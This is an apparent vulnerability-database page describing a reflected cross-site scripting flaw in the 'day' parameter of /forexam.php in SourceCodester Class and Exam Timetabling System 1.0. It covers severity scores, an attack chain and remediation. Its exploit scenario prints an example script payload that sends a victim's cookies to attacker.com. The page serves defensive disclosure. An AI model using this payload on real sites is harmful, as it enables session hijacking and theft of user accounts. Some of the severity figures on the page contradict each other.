Skip to main content

Timetabling System CVE-2026-16156

| EUVDEUVD-2026-45403 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-07-18 VulDB GHSA-384v-9jpc-7qvm
2.0
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege application account
  2. Delivery
    Craft malicious 'day' parameter payload
  3. Exploit
    Submit request to /forexam.php
  4. Execution
    Induce victim user to load poisoned page
  5. Persist
    JavaScript executes in victim browser
  6. Impact
    Harvest session or perform unauthorized actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a valid low-privilege authenticated session in the application (PR:L per CVSS 4.0 vector) - unauthenticated exploitation is not supported by available data. A victim user must also interact with or load the page containing the injected payload (UI:P), meaning a social engineering or phishing step is needed to trigger execution in a privileged user's browser. The vulnerable parameter is day within the /forexam.php endpoint, and the application must be network-reachable (AV:N). No special server-side configuration is required beyond default deployment. Exploitation is limited in scope to environments where: (1) the attacker can register or obtain a valid account, and (2) a second victim user can be induced to view the manipulated page.

Impact

The CVSS 4.0 score of 5.1 (Medium) reflects realistic constraints: PR:L requires the attacker to hold a valid low-privilege account, and UI:P requires a victim user to interact with the injected content. These two prerequisites materially reduce the attack surface compared to an unauthenticated, no-interaction XSS. EPSS data was not provided in source intelligence, so exploitation probability cannot be quantified. The vulnerability is not listed in CISA KEV, confirming no confirmed widespread active exploitation. However, a public proof-of-concept exploit exists on GitHub (referenced via the exploit tag), which reduces attacker skill requirements. The impact metrics (VC:N/VI:L/VA:N/SC:N/SI:N/SA:N) indicate limited integrity impact confined to the vulnerable system with no confidentiality or availability consequence per the 4.0 vector - though in practice a successful XSS could enable session hijacking or phishing depending on application context. Real-world priority is low: the product has minimal enterprise footprint, exploitation requires authentication, and victim interaction is needed.

Exploit ScenarioDerived

An authenticated low-privilege user - such as a student or staff member with a valid account - submits a crafted value for the day parameter to /forexam.php containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>). When an administrator or another authenticated user views the affected exam timetable page, the injected script executes in their browser, potentially harvesting session cookies or performing actions on their behalf. A public proof-of-concept on GitHub documents this technique, making replication straightforward for low-skill attackers who have obtained any valid account credential.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 18, 2026

Reflected cross-site scripting in SourceCodester Class and Exam Timetabling System 1.0 allows a low-privileged authenticated attacker to inject malicious JavaScript via the day parameter of /forexam.php, which executes in a victim user's browser upon viewing the affected page. A public exploit proof-of-concept is available on GitHub, lowering the bar for exploitation. No patch has been identified at time of analysis; no public exploit identified at time of analysis in terms of KEV listing, though exploit code exists publicly.

RemediationAI

No vendor-released patch has been identified at time of analysis. As a primary compensating control, administrators should sanitize and HTML-encode all user-supplied input before reflecting it in server responses, specifically the day parameter in /forexam.php; this requires a code-level fix in the PHP source. Deploying a Web Application Firewall (WAF) with XSS filtering rules can block common exploit payloads without altering application logic, though WAF bypass techniques exist and this is not a permanent fix. Implementing a strict Content Security Policy (CSP) header (Content-Security-Policy: default-src 'self') can prevent injected scripts from executing in victim browsers; however, this may break legitimate inline scripts in the application and requires testing. Restricting access to /forexam.php to trusted internal networks via network-layer controls reduces external attack surface. For reference, the VulDB advisory is at https://vuldb.com/vuln/379921 and the public exploit is documented at https://github.com/justconter/cve/issues/3.

Affected VersionsENISA

Class and Exam Timetabling System 1.0

Affected Packages

euvd class_and_exam_timetabling_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected application is a PHP-based academic scheduling tool distributed by SourceCodester (CPE: cpe:2.3:a:sourcecodester:class_and_exam_timetabling_system:*:*:*:*:*:*:*:*), commonly used as a student project or small-institution utility. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the day GET or POST parameter passed to /forexam.php is reflected into the HTML response without adequate encoding or sanitization. This class of flaw allows an attacker to embed arbitrary JavaScript in the rendered page, which then executes under the origin of the vulnerable server in the victim's browser context. The CPE wildcard on version suggests NVD has not pinned a patched version, implying the flaw exists across all known releases of this application.

Know when Class And Exam Timetabling System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.0 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 5.4 MEDIUM

Network-reachable XSS requiring low-privilege auth and victim interaction; scope changed as payload executes in victim browser origin.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Jul 18, 2026 - 22:22 NVD
MEDIUM LOW
CVSS changed
Jul 18, 2026 - 22:22 NVD
5.1 (MEDIUM) 2.0 (LOW)
CVE Published
Jul 18, 2026 - 21:00 cve.org
MEDIUM 5.1

DescriptionCVE.org

A security flaw has been discovered in SourceCodester Class and Exam Timetabling System 1.0. This affects an unknown part of the file /forexam.php. The manipulation of the argument day results in cross site scripting. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
Rare
niche educational PHP project, minimal verified production deployment
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-1039 HIGH POC
8.8 Feb 26

A vulnerability classified as critical was found in SourceCodester Class and Exam Timetabling System 1.0. Rated high sev

CVE-2026-14641 MEDIUM POC
5.5 Jul 04

SQL injection in SourceCodester Class and Exam Timetabling System 1.0 exposes the `/edit_course.php` endpoint to unauthe

CVE-2026-86210 MEDIUM POC
5.5 Sep 06

SQL injection in SourceCodester Class and Exam Timetabling System 1.0 exposes the `/delete_user_account.php` endpoint to

CVE-2026-86209 MEDIUM POC
5.5 Sep 06

Unauthenticated SQL injection in SourceCodester Class and Exam Timetabling System 1.0 allows remote attackers to manipul

CVE-2026-16484 MEDIUM POC
5.5 Jul 21

SQL injection in SourceCodester Class and Exam Timetabling System 1.0 allows remote unauthenticated attackers to manipul

CVE-2026-16228 MEDIUM POC
5.5 Jul 19

SQL injection in SourceCodester Class and Exam Timetabling System 1.0 exposes the /edit_schoolyr.php endpoint to unauthe

CVE-2026-16227 MEDIUM POC
5.5 Jul 19

SQL injection in SourceCodester Class and Exam Timetabling System 1.0 exposes the `/edit_subject.php` endpoint to unauth

CVE-2026-14642 MEDIUM POC
5.5 Jul 04

SQL injection in SourceCodester Class and Exam Timetabling System 1.0 exposes the database to remote unauthenticated att

CVE-2026-13486 MEDIUM POC
5.5 Jun 28

SQL injection in SourceCodester Class and Exam Timetabling System 1.0 allows unauthenticated remote attackers to manipul

CVE-2026-13485 MEDIUM POC
5.5 Jun 28

SQL injection in SourceCodester Class and Exam Timetabling System 1.0 exposes the `/preview.php` endpoint to remote unau

CVE-2026-86208 MEDIUM POC
5.5 Sep 06

SQL injection in SourceCodester Class and Exam Timetabling System 1.0 exposes the /delete_teacher.php endpoint to unauth

CVE-2026-15597 MEDIUM POC
5.5 Jul 13

SQL injection in SourceCodester Class and Exam Timetabling System 1.0 exposes the `/edit_exam2.php` endpoint to remote u

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy